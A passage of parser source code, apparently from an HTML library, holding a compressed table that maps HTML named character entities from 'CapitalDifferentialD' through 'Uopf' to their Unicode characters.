			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 \x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
